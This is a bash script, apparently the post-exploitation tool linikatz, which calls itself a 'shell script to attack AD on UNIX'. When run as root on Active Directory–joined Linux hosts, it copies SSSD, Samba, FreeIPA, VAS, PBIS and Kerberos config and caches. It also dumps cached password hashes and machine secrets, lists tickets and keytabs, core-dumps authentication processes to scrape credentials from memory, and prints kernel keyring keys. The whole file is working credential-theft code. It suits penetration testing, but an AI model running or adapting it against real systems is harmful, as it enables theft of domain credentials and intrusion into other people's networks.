#!/bin/bash # Copyright (c) 2015-2026, Cisco International Ltd # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the Cisco International Ltd nor the # names of its contributors may be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL CISCO INTERNATIONAL LTD BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. header () { printf " _ _ _ _ _\n" printf "| (_)_ __ (_) | ____ _| |_ ____\n" printf "| | | '_ \| | |/ / _\` | __|_ /\n" printf "| | | | | | | < (_| | |_ / /\n" printf "|_|_|_| |_|_|_|\_\__,_|\__/___|\n" printf "\n" printf " =[ @timb_machine ]=\n" printf "\n" } version () { header preamble printf "Brought to you by:\n" printf "\n" cat doc/AUTHORS exit 1 } preamble () { printf "Shell script to attack AD on UNIX\n" } usage () { header preamble printf "Usage: %s\n" "${0}" exit 1 } stdio_message_log () { check="${1}" message="${2}" [ "$(validate_is_string "${check}")" -eq 1 ] || false [ "$(validate_is_string "${message}")" -eq 1 ] || false if [ "${VERBOSE}" -ge 1 ] then stdio_format_message "32" "I" "${check}" "${message}" fi } stdio_message_warn () { check="${1}" message="${2}" [ "$(validate_is_string "${check}")" -eq 1 ] || false [ "$(validate_is_string "${message}")" -eq 1 ] || false stdio_format_message "33" "W" "${check}" "${message}" } stdio_message_debug () { check="${1}" message="${2}" [ "$(validate_is_string "${check}")" -eq 1 ] || false [ "$(validate_is_string "${message}")" -eq 1 ] || false if [ "${VERBOSE}" -ge 2 ] then stdio_format_message "35" "D" "${check}" "${message}" >&2 fi } stdio_message_error () { check="${1}" message="${2}" [ "$(validate_is_string "${check}")" -eq 1 ] || false [ "$(validate_is_string "${message}")" -eq 1 ] || false stdio_format_message "31" "E" "${check}" "${message}" >&2 } stdio_format_message () { color="${1}" type="${2}" check="${3}" message="${4}" [ "$(validate_is_string "${type}")" -eq 1 ] || false [ "$(validate_is_string "${check}")" -eq 1 ] || false [ "$(validate_is_string "${message}")" -eq 1 ] || false [ "$(validate_is_number "${color}")" -eq 1 ] || false if [ "${COLORING}" -eq 1 ] then printf -- "\033[%sm%s: [%s] %s\033[m\n" "${color}" "${type}" "${check}" "${message}" else printf -- "%s: [%s] %s\n" "${type}" "${check}" "${message}" fi } validate_matches_regex () { value="${1}" regex="${2}" if [ -n "$(printf -- "%s" "${value}" | egrep -- "$regex")" ] then printf -- "1\n" else printf -- "0\n" fi } validate_is_string () { value="${1}" if [ "$(validate_matches_regex "${value}" ".*")" -eq 1 ] then printf -- "1\n" else stdio_message_error "validate" "invalid string: ${value}" printf -- "0\n" fi } validate_is_number () { value="${1}" if [ "$(validate_matches_regex "${value}" "^[0-9]+$")" -eq 1 ] then printf -- "1\n" else stdio_message_error "validate" "invalid number: ${value}" printf -- "0\n" fi } validate_is_boolean () { value="${1}" if [ "$(validate_is_regex "${value}" "^[0-1]$")" -eq 1 ] then printf -- "1\n" else stdio_message_error "validate" "invalid boolean: ${value}" printf -- "0\n" fi } needs_root () { if [ "$(id -u)" == "0" ] then printf -- "1\n" else printf -- "0\n" fi } file_list () { filename="${1}" [ "$(validate_is_string "${filename}")" -eq 1 ] || false if [ "$(file_exists "${filename}")" -eq 1 ] then find "${filename}" -type f fi } file_exists () { filename="${1}" [ "$(validate_is_string "${filename}")" -eq 1 ] || false if [ -e "${filename}" ] then printf -- "1\n" else printf -- "0\n" fi } file_is_regular () { filename="${1}" [ "$(validate_is_string "${filename}")" -eq 1 ] || false if [ -f "${filename}" ] then printf -- "1\n" else printf -- "0\n" fi } file_is_executable () { filename="${1}" [ "$(validate_is_string "${filename}")" -eq 1 ] || false if [ -x "${filename}" ] then printf -- "1\n" else printf -- "0\n" fi } file_is_directory () { filename="${1}" [ "$(validate_is_string "${filename}")" -eq 1 ] || false if [ -d "${filename}" ] then printf -- "1\n" else printf -- "0\n" fi } file_steal () { filename="${1}" [ "$(validate_is_string "${filename}")" -eq 1 ] || false if [ "$(file_exists "${filename}")" -eq 1 ] then ls -l "${filename}" directoryname="linikatz.$$" if [ "$(file_is_directory "${directoryname}")" -ne 1 ] then mkdir "${directoryname}" fi stolenfilename="${directoryname}/$(printf -- "%s" "${filename}" | tr "/" "_").${RANDOM}" cp "${filename}" "${stolenfilename}" fi } config_steal () { for filename in "$@" do [ "$(validate_is_string "${filename}")" -eq 1 ] || false if [ "$(file_is_directory "${filename}")" -eq 1 ] then file_list "${filename}" | while read filename do file_steal "${filename}" done else if [ "$(file_is_regular "${filename}")" -eq 1 ] then file_steal "${filename}" fi fi done } process_list () { pattern="${1}" [ "$(validate_is_string "${pattern}")" -eq 1 ] || false ps -aeo ruser,rgroup,pid,ppid,args | egrep -v "PID" | egrep "${pattern}" | egrep -v "grep" | while read userid groupid processid parentid command arguments do printf -- "%s\n" "${processid}" done } process_dump () { processid="${1}" directoryname="linikatz.$$" [ "$(validate_is_number "${processid}")" -eq 1 ] || false if [ "$(file_is_directory "${directoryname}")" -ne 1 ] then mkdir "${directoryname}" fi dumpedfilename="${directoryname}/process.${RANDOM}" gcore -o "${dumpedfilename}" "${processid}" >/dev/null 2>&1 printf -- "%s\n" "${dumpedfilename}.${processid}" } process_maps_by_library () { pattern="${1}" [ "$(validate_is_string "${pattern}")" -eq 1 ] || false egrep -- "${pattern}" /proc/[0-9]*/maps 2>/dev/null | cut -f 3 -d "/" | sort | uniq } keys_list () { pattern="${1}" [ "$(validate_is_string "${pattern}")" -eq 1 ] || false cat /proc/keys | egrep "${pattern}" | egrep -v "grep" | while read keyid flags usage lifetime permissions userid groupid type description do printf -- "%i\n" "0x${keyid}" done } COLORING="0" VERBOSE="1" while [ -n "${1}" ] do case "${1}" in --help|-h) usage ;; --version|-v|-V) version ;; --color|-c|--colour) COLORING="1" ;; --verbose) shift VERBOSE="${1}" ;; esac shift done header stdio_message_log "freeipa-check" "FreeIPA AD configuration" [ "$(needs_root)" -eq 1 ] && config_steal /run/ipa/ccaches /var/lib/dirsrv /etc/dirsrv /var/lib/softhsm /etc/pki /etc/ipa || stdio_message_warn "needs" "not running as root" stdio_message_log "sss-check" "SSS AD configuration" [ "$(needs_root)" -eq 1 ] && config_steal /var/lib/sss /etc/sssd || stdio_message_warn "needs" "not running as root" stdio_message_log "vas-check" "VAS AD configuration" [ "$(needs_root)" -eq 1 ] && config_steal /var/opt/quest /etc/opt/quest || stdio_message_warn "needs" "not running as root" stdio_message_log "pbis-check" "PBIS AD configuration" [ "$(needs_root)" -eq 1 ] && config_steal /var/lib/pbis /etc/pbis || stdio_message_warn "needs" "not running as root" stdio_message_log "samba-check" "Samba configuration" [ "$(needs_root)" -eq 1 ] && config_steal /var/lib/samba /var/cache/samba /etc/samba || stdio_message_warn "needs" "not running as root" stdio_message_log "kerberos-check" "Kerberos configuration" [ "$(needs_root)" -eq 1 ] && config_steal /etc/krb5.conf /etc/krb5.keytab /tmp/krb5* || stdio_message_warn "needs" "not running as root" stdio_message_log "samba-check" "Samba machine secrets" if [ "$(needs_root)" -eq 1 ] then file_list /var/lib/samba/private | while read filename do if [ "$(file_is_regular "${filename}")" -eq 1 ] then tdbdump "${filename}" | egrep -A 1 "_PASSWORD" fi done else stdio_message_warn "needs" "not running as root" fi stdio_message_log "samba-check" "Samba hashes" if [ "$(needs_root)" -eq 1 ] then if [ "$(file_is_regular /var/lib/samba/passdb.tdb)" -eq 1 ] then pdbedit -s /etc/samba/smb.conf -L -w fi else stdio_message_warn "needs" "not running as root" fi stdio_message_log "check" "Cached hashes" if [ "$(needs_root)" -eq 1 ] then if [ "$(file_is_directory /var/lib/sss)" -eq 1 ] then stdio_message_log "sss-check" "SSS hashes" for filename in /var/lib/sss/db/cache_* do if [ "$(file_is_regular "${filename}")" -eq 1 ] then tdbdump "${filename}" | egrep -A 1 "DN=NAME" | egrep "\\\$6\\\$" | sed -e "s/.*cachedPassword.*\\\$6\\\$/\\\$6\\\$/g" -e "s/\\\00lastCached.*//g" fi done fi if [ "$(file_is_directory /var/opt/quest)" -eq 1 ] then stdio_message_log "vas-check" "VAS hashes" sqlite3 /var/opt/quest/vas/authcache/vas_auth.vdb "SELECT krb5pname, sha1hash, legacyHash FROM authcache" fi else stdio_message_warn "needs" "not running as root" fi stdio_message_log "check" "Machine Kerberos tickets" if [ "$(needs_root)" -eq 1 ] then if [ "$(file_is_directory /var/lib/sss)" -eq 1 ] then stdio_message_log "sss-check" "SSS ticket list" for filename in /var/lib/sss/db/ccache_* do if [ "$(file_is_regular "${filename}")" -eq 1 ] then /usr/bin/klist -c "${filename}" -e -d -f fi done fi if [ "$(file_is_directory /var/opt/quest)" -eq 1 ] then stdio_message_log "vas-check" "VAS ticket list" if [ "$(file_is_regular /etc/opt/quest/vas/host.keytab)" -eq 1 ] then /opt/quest/bin/ktutil --keytab=/etc/opt/quest/vas/host.keytab fi fi if [ "$(file_is_directory /var/lib/pbis)" -eq 1 ] then stdio_message_log "pbis-check" "PBIS ticket list" if [ "$(file_is_regular /etc/krb5.keytab)" -eq 1 ] then printf "read_kt /etc/krb5.keytab\nlist\nquit\n" | /opt/pbis/bin/ktutil fi for filename in /var/lib/pbis/krb5cc_lsass* do if [ "$(file_is_regular "${filename}")" -eq 1 ] then /opt/pbis/bin/klist -c "${filename}" -e -d -f fi done fi else stdio_message_warn "needs" "not running as root" fi stdio_message_log "kerberos-check" "User Kerberos tickets" for filename in /tmp/krb5* do if [ "$(file_is_regular "${filename}")" -eq 1 ] then if [ "$(file_is_regular /usr/bin/klist)" -eq 1 ] then /usr/bin/klist -c "${filename}" -e -d -f else if [ "$(file_is_regular /opt/quest/bin/klist)" -eq 1 ] then /opt/quest/bin/klist -c "${filename}" -v --hidden else if [ "$(file_is_regular /opt/pbis/bin/klist)" -eq 1 ] then /opt/pbis/bin/klist -c "${filename}" -e -d -f fi fi fi fi done stdio_message_log "check" "KCM Kerberos tickets" if [ "$(needs_root)" -eq 1 ] then if [ "$(file_is_directory /var/lib/sss)" -eq 1 ] then stdio_message_log "sss-check" "SSS KCM tickets" if [ "$(file_is_regular /var/lib/sss/secrets/secrets.ldb)" -eq 1 ] then # TODO check this actually works, I'm guessing based on https://github.com/mandiant/SSSDKCMExtractor/blob/master/SSSDKCMExtractor.py tdbdump /var/lib/sss/secrets/secrets.ldb | egrep -A 1 "secret" stdio_message_log "warn" "You'll need /var/lib/sss/secrets/.secrets.mkey to decrypt this" fi fi else stdio_message_warn "needs" "not running as root" fi stdio_message_log "memory-check" "In memory passwords, plain text or stored as a hash" if [ "$(needs_root)" -eq 1 ] then stdio_message_log "sss-check" "SSS processes" process_list "sss" | while read processid do stdio_message_log "sss-check" "Process dump (${processid})" process_dump "${processid}" | while read filename do [ "$(file_is_regular "${filename}")" -eq 1 ] && strings "${filename}" | egrep "MAPI|\\\$6\\\$" | sort | uniq done done else stdio_message_warn "needs" "not running as root" fi if [ "$(needs_root)" -eq 1 ] then stdio_message_log "vas-check" "VAS processes" process_list "vasd" | while read processid do stdio_message_log "check" "VAS process dump (${processid})" process_dump "${processid}" | while read filename do [ "$(file_is_regular "${filename}")" -eq 1 ] && strings "${filename}" | sort | uniq done done else stdio_message_warn "needs" "not running as root" fi if [ "$(needs_root)" -eq 1 ] then stdio_message_log "pbis-check" "PBIS processes" process_list "lwsmd|lw-" | while read processid do stdio_message_log "check" "PBIS process dump (${processid})" process_dump "${processid}" | while read filename do [ "$(file_is_regular "${filename}")" -eq 1 ] && strings "${filename}" | sort | uniq done done else stdio_message_warn "needs" "not running as root" fi stdio_message_log "memory-check" "In memory tickets" if [ "$(needs_root)" -ne 1 ] then stdio_message_warn "needs" "not running as root (affects efficiency)" fi process_maps_by_library libkrb5 | while read processid do stdio_message_log "kerberos-check" "Kerberos process dump (${processid})" process_dump "${processid}" | while read filename do [ "$(file_is_regular "${filename}")" -eq 1 ] && strings "${filename}" | sort | uniq done done stdio_message_log "memory-check" "In memory trusts" if [ "$(needs_root)" -ne 1 ] then stdio_message_warn "needs" "not running as root (affects efficiency)" fi process_maps_by_library libldap | while read processid do stdio_message_log "ldap-check" "LDAP process dump (${processid})" process_dump "${processid}" | while read filename do [ "$(file_is_regular "${filename}")" -eq 1 ] && strings "${filename}" | sort | uniq done done stdio_message_log "memory-check" "In memory keys" if [ "$(needs_root)" -ne 1 ] then stdio_message_warn "needs" "not running as root (affects haul)" fi config_steal /proc/keys keys_list ".*" | while read keyid do stdio_message_log "key-check" "Key dump (${keyid})" keyctl print "${keyid}" done